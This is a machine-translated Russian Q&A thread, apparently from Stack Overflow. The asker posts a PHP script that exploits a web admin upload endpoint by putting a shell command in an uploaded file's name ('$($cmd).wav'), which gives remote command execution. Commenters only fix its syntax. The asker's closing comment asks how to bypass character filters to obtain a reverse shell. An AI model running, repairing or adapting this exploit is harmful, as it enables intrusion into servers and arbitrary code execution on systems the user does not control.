Какие ошибки в этом php-коде (пробел и '' / \ <>? & |.)

<?php

pfffff("http://host",$_GET['do']) // file?do={uname,-a} => can't open input file `GNU\Linux.wav':

if(!file_exists(getcwd().'/0.wav')) { file_put_contents(getcwd()."/0.wav", "JUNKJUNKJUNKJUNKJUNK"); }

function pfffff($url, $cmd)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url .'/admin/ajax.php?module=music&command=upload');
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language: en-US,en;q=0.5', 'Referer: '.$url.'/admin/ajax.php', 'Connection: keep-alive', 'Upgrade-Insecure-Requests: 1','User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:55.0) Gecko/20100101 Firefox/55.0'));
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_POST, TRUE);
    curl_setopt($ch, CURLOPT_POSTFIELDS,array('files[1]' => curl_file_create(getcwd().'/0.wav','text/plain', "$($cmd).wav"), 'extension' => '0', 'language' => 'en', 'filename' => '0.wav', 'codec[1]' => 'gsm', 'id' => '1'));
    echo str_replace(array('\n','\/'), array('<br>','\\'), curl_exec($ch));
    curl_close($ch);
}
?>

Пожалуйста, прочтите минимальный воспроизводимый пример. Никто не будет искать ошибки в вашем коде, так как это код ваш.

u_mulder 11.04.2018 11:38

У меня ошибка синтаксического анализа PHP: синтаксическая ошибка, неожиданное «если» (T_IF) в строке 3

ENGINEERO 11.04.2018 11:43

Вы всегда можете поставить точку с запятой после вызова функции в предыдущей строке.

Nigel Ren 11.04.2018 11:45

вы должны поставить точку с запятой в конце pfffff("http://host",$_GET['do'])

Sushank Pokharel 11.04.2018 11:49
2
4
63
1

Ответы 1

Вы пропустили точку с запятой

pfffff("http://host",$_GET['do']);

Уведомление PHP: неопределенный индекс: выполнить в строке 3

ENGINEERO 11.04.2018 11:53

У меня эта ошибка сейчас PHP Notice: Undefined index: сделайте в строке 3 и спасибо за помощь

ENGINEERO 11.04.2018 11:54

в URL-адресе вы передаете значение «делать»?

Roshni hegde 11.04.2018 11:56

Если да, попробуйте с If(isset($_GET['do'])){ // your code// }

Roshni hegde 11.04.2018 11:57

извини, я не понимаю

ENGINEERO 11.04.2018 12:02

спасибо за вашу помощь, я пытаюсь запустить код, могу ли я отправить вам код для проверки

ENGINEERO 11.04.2018 12:04

пробел и '' / \ <>? & |. эти символы отфильтрованы, попробуйте обойти их, чтобы получить свой ключ. Подсказка {ls, -la} # Некоторые версии не могут просмотреть все результаты выполненной команды, поэтому вам нужно обойти эти фильтры, чтобы получить обратную оболочку, которая поможет от кодера

ENGINEERO 11.04.2018 12:06

Другие вопросы по теме